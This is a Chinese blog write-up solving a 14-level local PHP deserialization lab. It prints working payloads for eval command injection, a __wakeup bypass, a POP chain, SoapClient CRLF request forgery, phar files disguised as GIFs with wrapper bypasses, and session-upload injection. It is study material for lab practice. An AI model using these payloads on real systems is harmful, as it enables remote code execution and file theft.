反序列化漏洞靶场全解by-Drton1

反序列化漏洞靶场全解by-Drton1

靶场下载地址:靶场地址

level-1

图片[1]-反序列化漏洞靶场全解by-Drton1-Drton1博客

思路:可以看到get传参进一个flag 然后反序列化,之后直接把反序列化的对象执行action()函数,而act 代进了 eval函数 可以执行命令。

那么解题思路就清晰了,先创建一个该类对象 然后 act 赋值为我们要读取flag的命令,然后再序列化,序列化后的值传入flag即可。

图片[2]-反序列化漏洞靶场全解by-Drton1-Drton1博客

O:1:”a”:1:{s:3:”act”;s:24:”show_source(‘flag.php’);”;}

图片[3]-反序列化漏洞靶场全解by-Drton1-Drton1博客

拿到flag。

level-2

图片[4]-反序列化漏洞靶场全解by-Drton1-Drton1博客

思路跟第一关差不多 就是 他要验证你user值跟pass值,我们创建对象时候赋值好他那个验证值,然后再序列化。

图片[5]-反序列化漏洞靶场全解by-Drton1-Drton1博客

传参进去 拿到flag。

图片[6]-反序列化漏洞靶场全解by-Drton1-Drton1博客

level-3

图片[7]-反序列化漏洞靶场全解by-Drton1-Drton1博客

这个思路跟上一题一样,就是提交方式不一样,cookie提交,我们更换一下提交方式即可。

图片[8]-反序列化漏洞靶场全解by-Drton1-Drton1博客

即可拿到flag。

level-4

图片[9]-反序列化漏洞靶场全解by-Drton1-Drton1博客

套娃 看起来仿佛很复杂其实 我们理一下 思路一点也不复杂

这个题细节非常多,其中用到了create_function() 函数, 还有 unserialize($变量)(); 的这个细节,学到了。

资料-create_function()函数:

PHP代码审计之create_function()函数 – My_Dreams – 博客园 (cnblogs.com)

题目既然反序列化两次,那么我们就序列化两次就行。

调用链:先传进来func类然后反序列化 然后程序结束 调用_destruct()函数 再反序列化key,这里的细节就是unserialize($key)() ; 他后面多个括号,那么就是反序列后他变成 对象() 那么我们如果在后面加函数名,就可以达到调用它非魔术函数。

思路理清 开搞:

图片[10]-反序列化漏洞靶场全解by-Drton1-Drton1博客

拿到flag;

图片[11]-反序列化漏洞靶场全解by-Drton1-Drton1博客

level-5

图片[12]-反序列化漏洞靶场全解by-Drton1-Drton1博客

理一下调用链,并不复杂。

调用链:反序列后→ _wakeup() → _construct() → _destruct() ;

经过阅读源码 我们知道我们要在最后_destruct() 函数时候 让file=flag.php

但是我们也看到了 _wakeup() 会让file=index.php

所以我们要想办法不能让_wakeup() 执行

这个时候有一个CVE要知道。

CVE-2016-7124反序列化漏洞

(11条消息) CVE-2016-7124漏洞复现_夏了茶糜的博客-CSDN博客

我们可以利用这个CVE跳过 _wakeup()的执行。

这个问题解决了,下一个又来了。

那就是他有过滤。

可以看到 它设置过滤 序列化 格式的判断了

图片[13]-反序列化漏洞靶场全解by-Drton1-Drton1博客

那么我们就要想办法进行绕过。

我们可以采用 url编码绕过。

思路理清开搞:

图片[14]-反序列化漏洞靶场全解by-Drton1-Drton1博客

这里要注意 CVE利用是有PHP版本要求的 不是任何版本都可以 如果不行 记得调整本地PHP版本。

level-6

图片[15]-反序列化漏洞靶场全解by-Drton1-Drton1博客

这里要注意就是的comm的元素是private 私有的

进阶版之变量权限为私有或者保护

protected

声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的\0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。

这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。

如果想放在浏览器中直接提交,我们可以将\\0换成%00

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

但是我们可以看到该代码过滤%号

那么怎么办 我们可以把序列化后的s 变成S 表示以后的字符 以16进制转换

然后此时把%00换成\00进行绕过。

在windos命令中。

我们可以使用type命令 来查看php文件。

图片[16]-反序列化漏洞靶场全解by-Drton1-Drton1博客

图片[17]-反序列化漏洞靶场全解by-Drton1-Drton1博客

图片[18]-反序列化漏洞靶场全解by-Drton1-Drton1博客

构造好序列化后替换空格为\00,并把s 变成大写S。

level-7

__call(),在对象中调用一个不可访问方法时调用。

该方法有两个参数,第一个参数 $function_name 会自动接收不存在的方法名,第二个 $arguments 则以数组的方式接收不存在方法的多个参数。

1、 __call() 方法的格式:

function __call(string $function_name, array $arguments)

{
    // 方法体

}

2、 __call() 方法的作用:

为了避免当调用的方法不存在时产生错误,而意外的导致程序中止,可以使用 __call() 方法来避免。

该方法在调用的方法不存在时会自动调用,程序仍会继续执行下去。

请参考如下代码:

<?php

class Person

{                             

    function say()

    {                       

           echo "Hello, world!<br>"; 

    }      
    /**

     * 声明此方法用来处理调用对象中不存在的方法

     */

    function __call($funName, $arguments)

    { 

          echo "你所调用的函数:" . $funName . "(参数:" ;  // 输出调用不存在的方法名

          print_r($arguments); // 输出调用不存在的方法时的参数列表

          echo ")不存在!<br>\\n"; // 结束换行                      

    }                                          

}

$Person = new Person();            

$Person->run("teacher"); // 调用对象中不存在的方法,则自动调用了对象中的__call()方法

$Person->eat("小明", "苹果");             

$Person->say();

运行结果:

你所调用的函数:run(参数:Array ( [0] => teacher ) )不存在!

你所调用的函数:eat(参数:Array ( [0] => 小明 [1] => 苹果 ) )不存在!

Hello, world!

知道_call()函数用法后 再看题目:

图片[19]-反序列化漏洞靶场全解by-Drton1-Drton1博客

我们可以知道 传进一个序列化后的you类对象,然后触发 _destruct

可以看到触发了 body的pro方法

那么根据_call函数用法

我们可以让body是my类 然后pro是yourname,因为my不存在这个方法 所以myname会被当作第一个参数传入_call 成功触发if 即可得到flag。

因为他是私有属性,我们只能自己写一个__construct()函数来赋值

图片[20]-反序列化漏洞靶场全解by-Drton1-Drton1博客

这里要注意他的变量是私有的 所以要进行绕过 s→S 然后 不可见字符 改为\00来或者 不可见字符换成%00

图片[21]-反序列化漏洞靶场全解by-Drton1-Drton1博客

图片[22]-反序列化漏洞靶场全解by-Drton1-Drton1博客

拿到flag.

level-8

此类题目的本质就是改变序列化字符串的长度,导致反序列化漏洞

这种题目有个共同点:

  1. php序列化后的字符串经过了替换或者修改,导致字符串长度发生变化。
  2. 总是先进行序列化,再进行替换修改操作。

这类题利用的点是:(11条消息) PHP反序列化字符逃逸详解_WHOAMIAnony的博客-CSDN博客

这篇博客讲的非常清晰明了 这里进行引用。

图片[23]-反序列化漏洞靶场全解by-Drton1-Drton1博客

那么我们思路很清晰了。要修改pass值为“escaping”

我们就用php 替换hack以此来溢出。

首先搞清楚多少字符溢出能修改pass。

";s:4:"pass";s:8:"escaping";} 查了查是29个字符

那么我们就要写29个php 来溢出

图片[24]-反序列化漏洞靶场全解by-Drton1-Drton1博客

传入参数 溢出命令 得到flag。

level-9

Ezpop

  1. 序列化Pop链利用几个类之间相互关联进行构造

图片[25]-反序列化漏洞靶场全解by-Drton1-Drton1博客

了解魔术方法:

__construct   当一个对象创建时被调用,
__toString   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__get()    用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性 (3)没有的属性
__invoke()   当脚本尝试将对象调用为函数时触发

构造Pop链:

  • 根据以上题目,当用get方法传一个pop参数后,会自动调用Show类的_wakeup()魔术方法。 _wakeup()通过preg_match()将$this->source做字符串比较,如果$this->source是Show类,就调用了__toString()方法;
  • 如果__toString()其中str赋值为一个实例化的Test类,那么其类不含有source属性,所以会调用Test中的_get()方法。
  • 如果_get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的_invoke()方法。
  • 利用文件包含漏洞,使用_invoke()读取flag.php的内容。

让var=flag.php

图片[26]-反序列化漏洞靶场全解by-Drton1-Drton1博客

图片[27]-反序列化漏洞靶场全解by-Drton1-Drton1博客

需要urlencode的原因参考了另一位师傅的话:

最后的序列化结果进行url编码的原因我认为是这样的:如果不进行编码,最后输出的结果是片段的,不是全部的,会有类似截断导致结果异常,所以需要进行url编码

拿到flag:

图片[28]-反序列化漏洞靶场全解by-Drton1-Drton1博客

level-10

图片[29]-反序列化漏洞靶场全解by-Drton1-Drton1博客

这个要指定PHP的SOAP 然后 我们看他注释 发现 pass 是POST提交方式 ,需要我们利用SOAP伪造POST请求上传pass,随后绕过验证 生产flag.txt这个文件然后去访问。

伪造POST请求核心就是遵循HTTP的规范:

(11条消息) HTTP协议的Post请求的提交方式_yiqzq的博客-CSDN博客_http协议 post

去伪造: Content-Type

我们构造这样的SOAP类

<?php

$post_data = 'pass=password';
$data_len = strlen($post_data);
$a = new SoapClient(null, array('location' => '<http://localhost/php-SER-libs-main/level10/flag.php>', 'user_agent' => 'admin^^Content-Type: application/x-www-form-urlencoded^^Content-Length: ' . $data_len . '^^^^' . $post_data, 'uri' => 'bbba'));
$b = serialize($a);
$b = str_replace('^^', "\\r\\n", $b);
$b = str_replace('&', '&', $b);

echo urlencode($b);
?>

其中 Content-Type 符合POST编码要求 user 跟pass 也符合要求

这里解释一下:

$b = str_replace(‘^^’, “\r\n”, $b); 这个是为了换行 让我们构造出来的数据包符合POST格式如:

图片[30]-反序列化漏洞靶场全解by-Drton1-Drton1博客

$b = str_replace(‘&’, ‘&’, $b); 这个我查阅了很多资料 没有明确的解释 也问了实验室里很多师傅 师傅们普遍认为这是为了防止某种报错 在我查了很多资料后发现 只代表个人观点:这个点跟我们POST 提交的 Content-Type 格式有关:

图片[31]-反序列化漏洞靶场全解by-Drton1-Drton1博客

我自己也做了实验,单个参数提交时候,这句代码并没有起到作用:

图片[32]-反序列化漏洞靶场全解by-Drton1-Drton1博客

因为单个参数并不需要用到& , 而多个参数时采用Content-Type: application/x-www-form-urlencoded 就会有& 此时换行后 再次替换 再规范一下数据格式。 以上均为本人猜的。

这里解释一下为什么题目中要调用一个莫名其妙的函数daydream() 因为他就是要调用一个SoapClient类中不存在的函数来触发__call()函数 这个再第七关说过,以此来让该SOAPCLient对象再次重新发送一次数据包。

解题:

图片[33]-反序列化漏洞靶场全解by-Drton1-Drton1博客

PS:图中的代码在上面。

图片[34]-反序列化漏洞靶场全解by-Drton1-Drton1博客

执行后 我们访问flag.txt

图片[35]-反序列化漏洞靶场全解by-Drton1-Drton1博客

拿到flag。

level-11

打开题目:

图片[36]-反序列化漏洞靶场全解by-Drton1-Drton1博客

提示我们有个upload.php 访问看一下:

图片[37]-反序列化漏洞靶场全解by-Drton1-Drton1博客

看到md5_file函数 这里介绍一下phar反序列化:

Phar 反序列化

phar 文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的 meta-data。当受影响的文件操作函数调用 phar 文件时,会自动反序列化 meta-data 内的内容。

phar 文件的结构

stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
content:被压缩文件的内容
signature (可空):签名,放在末尾。

生成一个 phar 文件

<?php
    class Test {
    }

    @unlink("phar.phar");//unlink("1.txt")表示删除1.txt 如果没有该文件会报错 使用 @ 可以屏蔽错误信息输出
 //比如 ulink 如果要删除的文件或路径不存在会有提示信息,加上 @ 后会略过这部分信息的输出
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new Test();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

漏洞利用条件

  1. phar 文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为 “跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

受影响的函数:

//exif
exif_thumbnail
exif_imagetype

//gd
imageloadfont
imagecreatefrom***系列函数

//hash

hash_hmac_file
hash_file
hash_update_file
**md5_file**
sha1_file

// file/url
get_meta_tags
get_headers

//standard
getimagesize
getimagesizefromstring

// zip
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
// Bzip / Gzip 当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';

//配合其他协议:(SUCTF)
//https://www.xctf.org.cn/library/details/17e9b70557d94b168c3e5d1e7d4ce78f475de26d/
//当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
//php://filter/read=convert.base64-encode/resource=phar://phar.phar

//Postgres pgsqlCopyToFile和pg_trace同样也是能使用的,需要开启phar的写功能。
<?php
    $pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
    @$pdo->pgsqlCopyFromFile('aa', 'phar://phar.phar/aa');
?>

// Mysql
//LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper
//配置一下mysqld:
//[mysqld]
//local-infile=1
//secure_file_priv=""

<?php
class A {
    public $s = '';
    public function __wakeup () {
        system($this->s);
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'testtable', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \\'phar://test.phar/test\\' INTO TABLE a  LINES TERMINATED BY \\'\\r\\n\\'  IGNORE 1 LINES;');
?>

可以看到题目中有md5_flie函数 这个函数也在影响范围内。

我们看一下upload.php页面的源码,看一下过滤规则:

图片[38]-反序列化漏洞靶场全解by-Drton1-Drton1博客

可以看到只能上传图像类型的。

我们要直接上传phar类型肯定不行 要想办法绕过。

GIF 格式验证可以通过在文件头部添加 GIF89a 绕过

1、$phar->setStub(“GIF89a”.”<?php __HALT_COMPILER(); ?>”); // 设置 stub

2、生成一个 phar.phar,修改后缀名为 phar.gif

payload:

<?php
class TestObject {

}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

执行后 生成phar.phar文件

图片[39]-反序列化漏洞靶场全解by-Drton1-Drton1博客

把该文件后缀修改为gif上传即可得到flag。

level-12

图片[40]-反序列化漏洞靶场全解by-Drton1-Drton1博客

这个还是phar 但是加了过滤,当环境限制了 phar 不能出现在前面的字符里。可以使用compress.bzip2://compress.zlib://等绕过。

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt

这个题目中自带了一个upload文件夹 下有一个phar1.png

图片[41]-反序列化漏洞靶场全解by-Drton1-Drton1博客

我们调用compress.zlib://phar: 把该文件传给file即可 触发反序列化 拿到flag

图片[42]-反序列化漏洞靶场全解by-Drton1-Drton1博客

level-13

题目:

图片[43]-反序列化漏洞靶场全解by-Drton1-Drton1博客

这里他提示我们有一个hint.php页面 尝试访问:

图片[44]-反序列化漏洞靶场全解by-Drton1-Drton1博客

session.serialize_handler 是php.ini文件中一个选项 他表示 客户端传过来的session以什么格式传过来 php_serialize就表示以序列化的方式传过来 具体:

session.serialize_handler存在以下几种

  • php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
  • php 键名+竖线(|)+经过serialize()函数处理过的值
  • php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

如果像具体了解 有一篇文章:https://www.freebuf.com/vuls/202819.html

那么我们的思路就出来 题目中既然传过来的是序列化的内容 我们完全可以构造一个Flag的类

传过来等他自动反序列化 就触发Flag中的_wakeup 函数 从而拿到flag。

&就是取地址的意思 C语言的指针同概念,不做赘述

用两个变量来指向同一个内容意思是,当你这样做时:

<?php
$a =& $b
?>

这意味着 $a 和 $b 指向了同一个变量

这里因为他的验证是检查了 这两个变量是否一样,所以 我们直接让他们共用一个内存

那么就肯定是一样的,可以通过验证

图片[45]-反序列化漏洞靶场全解by-Drton1-Drton1博客

传参a后再次访问首页 即可看到flag

图片[46]-反序列化漏洞靶场全解by-Drton1-Drton1博客

这里解释一下为什么要在参数a后加 '|' 是因为session直接对'|' 后的值进行反序列化处理

这个其实是因为session_start()这个函数,可以看下官方说明:

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。 会话管理器可能是 PHP 默认的, 也可能是扩展提供的(SQLite 或者 Memcached 扩展), 也可能是通过 session_set_save_handler() 设定的用户自定义会话管理器。 通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储),PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量

因此我们成功触发了Flag类中的__wakeup()方法, 所以这种攻击思路是可行的。

再次访问首页 已经触发

图片[47]-反序列化漏洞靶场全解by-Drton1-Drton1博客

level-14

题目:

图片[48]-反序列化漏洞靶场全解by-Drton1-Drton1博客

这个没给提交方式 ,要想办法自己去构造提交方式

自己写一个html页面test.html:

红字的写你自己靶场地址:

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<form id="upload-form" action="**<http://localhost/php-SER-libs-main/level14/index.php**>" method="POST" enctype="multipart/form-data">
<input type="hidden" name="**PHP_SESSION_UPLOAD_PROGRESS**" value="test"/>
上传文件…
<input name="file1" type="file" />
<input type="submit" value="上传"/>
</form>

这个篮色的字体是PHP接受session 的参数 我们写这里的意思是直接把这个内容提交给这个参数,而要提交的也是序列化后的内容。

我们去构造对应的序列化内容;

图片[49]-反序列化漏洞靶场全解by-Drton1-Drton1博客

然后打开我们自己编写的test.html 打开burpsuit进行抓包 随便上传图片修改filename

由于采用 Burp 发包,为防止双引号被转义,在双引号前加上\\,除此之外还要加上|

图片[50]-反序列化漏洞靶场全解by-Drton1-Drton1博客

得到flag。

© 版权声明
THE END
喜欢就支持一下吧
点赞5 分享
评论 抢沙发

请登录后发表评论